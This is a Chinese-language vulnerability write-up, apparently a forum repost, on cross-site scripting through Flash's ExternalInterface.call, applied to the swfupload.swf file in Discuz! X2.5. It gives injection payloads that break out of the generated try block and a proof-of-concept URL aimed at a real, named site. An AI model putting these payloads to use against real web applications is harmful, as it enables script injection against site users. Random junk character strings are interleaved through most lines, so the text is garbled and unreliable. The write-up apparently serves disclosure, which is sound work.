上回我们说
$ }7 Z$ O# C0 I; _
/ {8 E. U0 s! z1 \flash.external.ExternalInterface.call($methodName, $parameter)
8 n0 W! ?$ ~8 S在浏览器中执行的是
; O* Q3 p$ S* S' m. r$ w; f0 u9 B5 O2 M+ s) k# c
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}0 b2 J' S6 ~/ B( Y5 U
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
2 ^6 s2 K) ]% Z9 ^& \, z
5 {' q, U9 k$ f4 h1 O( Mflash.external.ExternalInterface.call("object."+$methodName, $parameter)" h$ \/ D" ~- |& @
$methodName = a())}catch(e){alert(/xss/)}//
4 Z$ A+ |6 z# S5 e结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。+ O* e) D8 q; {
7 D: e7 Q' U6 z/ y. e
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' N- j, b) n0 l! z( r3 U$ X1 E: R( y5 F. s$ v* L- {, d
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )" t: ?7 j& k- L. S9 ]
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
; W0 h7 Z- h4 U B. w% r" ?! ?" K1 C1 W5 R
% D+ C; i+ v' a7 t+ F* T) X, l3 S) c2 L. w2 O" G
漏洞文件:upload\static\image\common\swfupload.swf$ \4 L! W- x. e/ J
, l6 R( G/ o( F3 q4 }! @9 n
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf0 Z6 y" s2 j3 v( F
- N# @* O) ?; |8 v& Y
0 j) z* l' E, A漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
) b- S: ]# U: X' K8 ?) Y
3 Q% |6 J0 U1 C! |& k9 |3 Z# H) j1 C/ q- {6 F2 A
|